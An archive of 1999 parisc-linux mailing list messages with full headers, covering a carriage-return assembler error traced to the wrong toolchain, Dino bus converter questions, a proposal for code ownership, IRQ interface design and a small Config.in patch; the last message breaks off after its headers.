Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA09488 for parisc-linux@thepuffingroup.com; Fri, 3 Sep 1999 17:36:18 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9876


make[2]: Entering directory `/linux/linux/arch/parisc/lib'
gcc -D__KERNEL__ -I/linux/linux/include -D__ASSEMBLY__  -traditional -c milli.S -o milli.o
milli.S: Assembler messages:
milli.S:16: Error: Rest of line ignored. First ignored character valued 0xd.
milli.S:19: Error: Rest of line ignored. First ignored character valued 0xd.
milli.S:21: Error: Rest of line ignored. First ignored character valued 0xd.
...


I stripped the ^M characters out of the file and it compiles.
Could others explain how they got past this error message?
Could the gcc I'm using be the wrong one?

thanks,
grant


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Card-mode Dino
Date: Fri, 03 Sep 1999 20:19:07 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <19990904021908.3A1F918708@security.hp.com>
References: <199909032247.PAA09181@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619748 13797 80.91.229.3 (22 Nov 2014 01:29:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:08 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com, lamont@security.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: lamont@security.hp.com  Fri Sep  3 20:17:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA10944
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Sep 1999 20:17:16 -0600
Original-Received: (qmail 29737 invoked by uid 15267); 4 Sep 1999 02:19:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29727 invoked from network); 4 Sep 1999 02:19:10 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Sep 1999 02:19:10 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id TAA00870;
	Fri, 3 Sep 1999 19:19:09 -0700 (PDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 3A1F918708; Fri,  3 Sep 1999 20:19:08 -0600 (MDT)
In-reply-to: Your message of "Fri, 03 Sep 1999 15:47:06 PDT."
             <199909032247.PAA09181@milano.cup.hp.com> 
Content-ID: <16699.936411547.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9877

> > And does the dino-on-a-card have it's own IODC on the card?
> No. Dino implements the PA I/O architected registers but no IODC.
> I suspect the problem is it's really a bus converter and that
> needs PDC support - IODC entry points don't apply to this.
> Can anyone confirm this?

Can't confirm or deny, but it is possible (we've done it at least once)
to build a bus converter that does not require PDC help, just architecture
knowledge.

lamont


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] milli.S and 0xd's
Date: Sat, 4 Sep 1999 08:01:48 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <19990904080148.Z493@mencheca.ch.genedata.com>
References: <199909040036.RAA09488@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619748 13799 80.91.229.3 (22 Nov 2014 01:29:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Fri Sep  3 23:59:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA11220
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Sep 1999 23:59:58 -0600
Original-Received: (qmail 6294 invoked by uid 15267); 4 Sep 1999 06:01:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6283 invoked from network); 4 Sep 1999 06:01:52 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 4 Sep 1999 06:01:52 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id IAA27809;
	Sat, 4 Sep 1999 08:01:49 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id IAA581620;
	Sat, 4 Sep 1999 08:01:48 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11N8tY-00027GC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for grundler@cup.hp.com; Sat, 4 Sep 1999 08:01:48 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199909040036.RAA09488@milano.cup.hp.com>; from Grant Grundler on Fri, Sep 03, 1999 at 05:36:18PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9878

On Fri, Sep 03, 1999 at 05:36:18PM -0700, Grant Grundler wrote:
> 
> make[2]: Entering directory `/linux/linux/arch/parisc/lib'
> gcc -D__KERNEL__ -I/linux/linux/include -D__ASSEMBLY__  -traditional -c milli.S -o milli.o
> milli.S: Assembler messages:
> milli.S:16: Error: Rest of line ignored. First ignored character valued 0xd.
> milli.S:19: Error: Rest of line ignored. First ignored character valued 0xd.
> milli.S:21: Error: Rest of line ignored. First ignored character valued 0xd.
> ...
> 
> 
> I stripped the ^M characters out of the file and it compiles.
> Could others explain how they got past this error message?
> Could the gcc I'm using be the wrong one?

I just did the exact same thing and didn't get this error.  You are correct
that the file has 0xd's in it... I wonder if it's which assembler your gcc
has found?  Try appending the `-v' flag to the end of the gcc line and see
what you get:

Reading specs from /opt/depot/egcs-puffin/lib/gcc-lib/hppa1.0-hp-hpux11.00/egcs-2.91.60/specs
gcc version egcs-2.91.60 19981201 (egcs-1.1.1 release)
 /opt/depot/egcs-puffin/lib/gcc-lib/hppa1.0-hp-hpux11.00/egcs-2.91.60/cpp -lang-asm -v -I/linux/linux/include -undef -$ -Dhppa -Dhp9000s800 -D__hp9000s800 -Dhp9k8 -DPWB -Dhpux -Dunix -D__hppa__ -D__hp9000s800__ -D__hp9000s800 -D__hp9k8__ -D__PWB__ -D__hpux__ -D__unix__ -D__hppa -D__hp9000s800 -D__hp9k8 -D__PWB -D__hpux -D__unix -Asystem(unix) -Asystem(hpux) -Acpu(hppa) -Amachine(hppa) -D__ASSEMBLER__ -traditional -D_HPUX_SOURCE -D_HIUX_SOURCE -D__KERNEL__ -D__ASSEMBLY__ milli.S /var/tmp/ccrVZimC.s
GNU CPP version egcs-2.91.60 19981201 (egcs-1.1.1 release) (hppa)
#include "..." search starts here:
#include <...> search starts here:
 /usr/local/include
 /opt/depot/egcs-puffin/hppa1.0-hp-hpux11.00/include
 /opt/depot/egcs-puffin/lib/gcc-lib/hppa1.0-hp-hpux11.00/egcs-2.91.60/include
 /usr/include
End of search list.
 as -o milli.o /var/tmp/ccrVZimC.s
bash-2.03$ which as
/export/willy/bin/as

(at some stage, someone needs to clean up all those default #defines.  But
not right now.)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ownership of parisc-kernel code
Date: Sat, 04 Sep 1999 14:50:53 -0400
Organization: The Puffin Group
Lines: 66
Approved: news@gmane.org
Message-ID: <37D16A0D.1D1A2BB0@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619748 13802 80.91.229.3 (22 Nov 2014 01:29:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sat Sep  4 12:32:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA13731
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Sep 1999 12:32:01 -0600
Original-Received: (qmail 27185 invoked by uid 15267); 4 Sep 1999 18:33:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27174 invoked from network); 4 Sep 1999 18:33:56 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 4 Sep 1999 18:33:56 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id OAA02536
	for <parisc-linux@thepuffingroup.com>; Sat, 4 Sep 1999 14:50:54 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9879


PA-RISC Linux development is going well, but some things have changed
from a few months ago.  We have more developers than ever before, and
because of that, it looks like some people are stepping on other
people's toes.

I think there's some areas in which the parisc-linux developers could do
a bit better, and a lot of it comes from the fact that there's no
understood boundaries of who owns what code.

So, I'm going to suggest that I implement the following plan.  If people
have objections or suggestions, I'd appreciate feedback in the next 24
hours.

What we'd do is document which people are owners of which chunk of the
parisc kernel code. In the end, those owners are ultimately responsible
for that chunk of code. 

How they handle incoming patches for those areas, or handle changes that
affect multiple areas is up to them. If they decide that they want to
read every little patch that goes through, great. If they want to assign
subsections to others, fine.  But they are responsible in the end.

Here's my suggested division:

Interruptions and Interrupts:  Philipp Rumpf
Virtual Memory:                Philipp Rumpf
Syscalls:                      Matthew Wilcox
IO Peripherals/inventory:      Alex deVries
Boot code:                     Helge Deller
Everything else:               Alex deVries


In the end, this division is up to me, and I'll be happy to re-assign
people, settle disputes (*sigh*), etc. So if you have a gripe about a
certain section owner not doing their job, I'm the second person you
should complain to.

There are some simple things I insist all developers abide to:

- ALL changes need to be documented properly in the CVS comments
- Significant changes discussed on the the parisc-linux mailing list
- All changes *MUST* compile and produce a bootable kernel for the
default
  configuration, unless there's prior warning[1]
- Be civil on the list.  Anyone who commits code does it because they
genuinely want parisc-linux to work, we're all in the same boat
together.

Also, another note about the mailing list: this list was intended to be
used by the developers, and there's no limit of technical depth. If you
want to mail patches, mail patches.  People who don't want this
forwarded to them will just have to deal with it.

[1] By prior warning, I mean a mail to the list that says something like
"I'm working on support for the XUAZ SCSI controller, this might break
XYZ800 support temporarily". Sometimes you need to take one step back to
go two forward.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Card-mode Dino
Date: Sat, 04 Sep 1999 13:18:10 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <199909042018.NAA09900@milano.cup.hp.com>
References: <19990904021908.3A1F918708@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619749 13806 80.91.229.3 (22 Nov 2014 01:29:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Sep  4 14:18:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA14032
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Sep 1999 14:18:45 -0600
Original-Received: (qmail 7605 invoked by uid 15267); 4 Sep 1999 20:20:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7594 invoked from network); 4 Sep 1999 20:20:40 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Sep 1999 20:20:40 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA14573
	for <parisc-linux@thepuffingroup.com>; Sat, 4 Sep 1999 13:20:36 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA09900 for <parisc-linux@thepuffingroup.com>; Sat, 4 Sep 1999 13:18:10 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 03 Sep 1999 20:19:07 PDT."
             <19990904021908.3A1F918708@security.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9880

LaMont Jones wrote:
> > > And does the dino-on-a-card have it's own IODC on the card?
> > No. Dino implements the PA I/O architected registers but no IODC.
> > I suspect the problem is it's really a bus converter and that
> > needs PDC support - IODC entry points don't apply to this.
> > Can anyone confirm this?
> 
> Can't confirm or deny, but it is possible (we've done it at least once)
> to build a bus converter that does not require PDC help, just architecture
> knowledge.

Let me add some depth to my suspicion.
Platform IO space (which Dino "translates" 1:1 to PCI MMIO space) is
assigned exclusively by PDC on platforms with GSC busses.  The OS can't
assign I/O space addresses to devices unless (a) knows where I/O space
is (could make assumptions about this), (b) exactly which parts
have been used by other bus converters or devices, and (c) which
parts are reserved for "special" devices (eg graphics)?

I suspect IODC can't provide this sort of functionality. Let me
rephrase my question: does anyone know if architected PDC interfaces
provide enough information to satisfy a/b/c above?

thanks,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] milli.S and 0xd's
Date: Sat, 04 Sep 1999 13:44:05 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <199909042044.NAA09995@milano.cup.hp.com>
References: <19990904080148.Z493@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619749 13808 80.91.229.3 (22 Nov 2014 01:29:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: grundler@cup.hp.com  Sat Sep  4 14:44:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA14241
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Sep 1999 14:44:38 -0600
Original-Received: (qmail 18396 invoked by uid 15267); 4 Sep 1999 20:46:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18384 invoked from network); 4 Sep 1999 20:46:34 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Sep 1999 20:46:34 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA20321;
	Sat, 4 Sep 1999 13:46:32 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA09995; Sat, 4 Sep 1999 13:44:06 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 04 Sep 1999 08:01:48 PDT."
             <19990904080148.Z493@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9881

Matthew Wilcox wrote:
...
> I just did the exact same thing and didn't get this error.  You are correct
> that the file has 0xd's in it... I wonder if it's which assembler your gcc
> has found?

Yes. jackpot.  I'm picking up the "ninstall" tool set and not the set
distributed from puffin.external.hp.com.  Let's see how painful it is
to get the newer toolset working...

grundler <427>as --version
GNU assembler 2.8.1
...

>   Try appending the `-v' flag to the end of the gcc line and see
> what you get:

make[2]: Entering directory `/linux/linux/arch/parisc/lib'
gcc -D__KERNEL__ -I/linux/linux/include -D__ASSEMBLY__  -traditional -c -v milli.S -o milli.o
Reading specs from /opt/GNU/lib/gcc-lib/hppa1.1-hp-hpux10.20/2.8.1/specs
gcc version 2.8.1
...

vs.

> Reading specs from /opt/depot/egcs-puffin/lib/gcc-lib/hppa1.0-hp-hpux11.00/eg
>   cs-2.91.60/specs
> gcc version egcs-2.91.60 19981201 (egcs-1.1.1 release)

BTW, I noticed "hppa1.0-hp-hpux11.00". Has anyone verified "hpux10.2O"
gcc tools produce the same output as "hpux11.00" flavor tools?
(I know they "should" but wouldn't even think of betting on it.)

I have access to several idle 11.X machines and will take another
look at using them. I didn't consider using them before because they
didn't have 10.20 installed.

thanks Matthew,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EIM register programming
Date: Sat, 04 Sep 1999 18:31:36 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <199909050131.SAA10177@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619749 13812 80.91.229.3 (22 Nov 2014 01:29:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Sep  4 19:32:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA14580
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Sep 1999 19:32:13 -0600
Original-Received: (qmail 4386 invoked by uid 15267); 5 Sep 1999 01:34:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4379 invoked from network); 5 Sep 1999 01:34:04 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 5 Sep 1999 01:34:04 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA20015
	for <parisc-linux@thepuffingroup.com>; Sat, 4 Sep 1999 18:34:02 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id SAA10177 for <parisc-linux@thepuffingroup.com>; Sat, 4 Sep 1999 18:31:36 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:9882

Philipp Rumpf wrote:
...
> > Of GSC devices I'm aware of, only Dino will support pcibios_fixup().
> > How would a GSC SCSI, LAN, or Graphics card driver program it's EIM
> > register?
> > (EIM is equivalent to Dino's IAR0/1 registers)
> 
> Not decided yet.

Ok.

> alloc_irq is flawed and right now I think
> 
> int gsc_request_irq(void *eim,
> 	void (*handler)(int, void *, struct pt_regs *),
> 	unsigned long irqflags,
> 	const char *devname,
> 	void *dev_id);
> 
> might be a good idea.  return value is the number of the IRQ you
> have so you can do:
> 
> 	irq = gsc_request_irq(&dino->hpa->iar0, dino_interrupt, ??, dino->name,
>    dino);
> 	if(irq < 0) {
> 		printk("%s: couldn't allocate IRQ\n" dino->name); 
> 		return irq;
> 	}
> 	printk("%s: allocated IRQ %d\n", dino->name, irq);
> 
> does that sound okay ?

I think it will work.
Does Dino need "irq_base" then? I guess it doesn't.

It's clear this only works for 32-bit "EIM" style devices.
It won't work for anything different and I don't really know
what's out there (graphics has a reputation for doing things
differently though I expect them to also use an EIM register.)

My general preference is to pass platform knowledge (CPU HPA/EIRR)
to the caller instead of passing device specific knowledge
(EIM address) to the service. The former lets one manage platform
knowledge as a resource (allocate/free model) and is ultimately
more flexible. The latter is OK too if the device knowledge is
for a "mature" architecture (eg PCI spec won't change much anymore).
And GSC certainly won't change anymore.

I guess what I was looking for were processor (vs bus) specific services.
The gsc_request_irq() would be a consumer of PA specific services
and I was thinking some drivers might want to directly use processor
services directly.

Other comments?

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] drivers/video/Config.in patch
Date: Sun, 05 Sep 1999 22:31:57 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <37D343BD.35EFA01A@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------F11139E0A376D7FCBF126122"
X-Trace: ger.gmane.org 1416619750 13817 80.91.229.3 (22 Nov 2014 01:29:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rbradetich@uswest.net  Sun Sep  5 22:45:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA16133
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Sep 1999 22:45:03 -0600
Original-Received: (qmail 9872 invoked by uid 15267); 6 Sep 1999 04:47:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9857 invoked from network); 6 Sep 1999 04:47:00 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 6 Sep 1999 04:47:00 -0000
Original-Received: (qmail 6946 invoked by alias); 6 Sep 1999 04:46:48 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 6940 invoked by uid 0); 6 Sep 1999 04:46:47 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 6 Sep 1999 04:46:47 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9883

This is a multi-part message in MIME format.
--------------F11139E0A376D7FCBF126122
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello Hackers:

I've successfully booted my C200 with the Image-199900705 from
puffin.external.hp.com.  Now I am working on getting the cvs source to
compile so I can add to the project.

I haven't seen many patches posted to this list, so please let me know
if I didn't package the patch correctly. (I did a diff -c).

Just a small patch to get the make xconfig to work.

-Ryan


--------------F11139E0A376D7FCBF126122
Content-Type: text/plain; charset=us-ascii;
 name="Config.in.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Config.in.patch"

*** drivers/video/Config.in.orig	Sun Sep  5 22:24:19 1999
--- drivers/video/Config.in	Sun Sep  5 22:22:22 1999
***************
*** 182,188 ****
  	   "$CONFIG_FB_VIRGE" = "m" -o "$CONFIG_FB_CYBER" = "m" -o \
  	   "$CONFIG_FB_VALKYRIE" = "m" -o "$CONFIG_FB_PLATINUM" = "m" -o \
             "$CONFIG_FB_IGA" = "m" -o "$CONFIG_FB_MATROX" = "m" -o \
!            "$CONFIG_FB_CT65550" = "m" -o "$CONFIG_FB_PM2" = "m" -o
             "$CONFIG_FB_HP700" = "m" ]; then
  	define_bool CONFIG_FBCON_CFB8 m
        fi
--- 182,188 ----
  	   "$CONFIG_FB_VIRGE" = "m" -o "$CONFIG_FB_CYBER" = "m" -o \
  	   "$CONFIG_FB_VALKYRIE" = "m" -o "$CONFIG_FB_PLATINUM" = "m" -o \
             "$CONFIG_FB_IGA" = "m" -o "$CONFIG_FB_MATROX" = "m" -o \
!            "$CONFIG_FB_CT65550" = "m" -o "$CONFIG_FB_PM2" = "m" -o \
             "$CONFIG_FB_HP700" = "m" ]; then
  	define_bool CONFIG_FBCON_CFB8 m
        fi

--------------F11139E0A376D7FCBF126122--


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ramdisk.bin?
Date: Sun, 05 Sep 1999 23:41:39 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <37D35413.6E032AE1@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619750 13819 80.91.229.3 (22 Nov 2014 01:29:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rbradetich@uswest.net  Sun Sep  5 23:54:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA16486
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Sep 1999 23:54:36 -0600
Original-Received: (qmail 6185 invoked by uid 15267); 6 Sep 1999 05:56:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6174 invoked from network); 6 Sep 1999 05:56:33 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 6 Sep 1999 05:56:33 -0000
Original-Received: (qmail 1145 invoked by alias); 6 Sep 1999 05:56:31 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 1134 invoked by uid 0); 6 Sep 1999 05:56:31 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 6 Sep 1999 05:56:31 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9884

Hmm...

Ok, I got a stupid question :)

Where do I generate/find the ramdisk.bin that is a dependency for
ramdisk.c?

-Ryan
P.S I will eventually figure out how to compile this kernel .....




From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ramdisk.bin?
Date: Mon, 6 Sep 1999 11:24:46 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <19990906112446.A25362@mencheca.ch.genedata.com>
References: <37D35413.6E032AE1@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619750 13820 80.91.229.3 (22 Nov 2014 01:29:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
